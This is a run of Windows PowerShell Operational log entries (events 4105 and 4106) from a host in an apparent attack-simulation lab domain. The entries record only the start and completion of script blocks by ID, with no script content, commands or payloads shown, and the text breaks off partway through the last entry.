09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046347
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046346
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046345
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046344
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046328
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046327
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046322
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046321
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046299
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046298
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046297
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046296
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
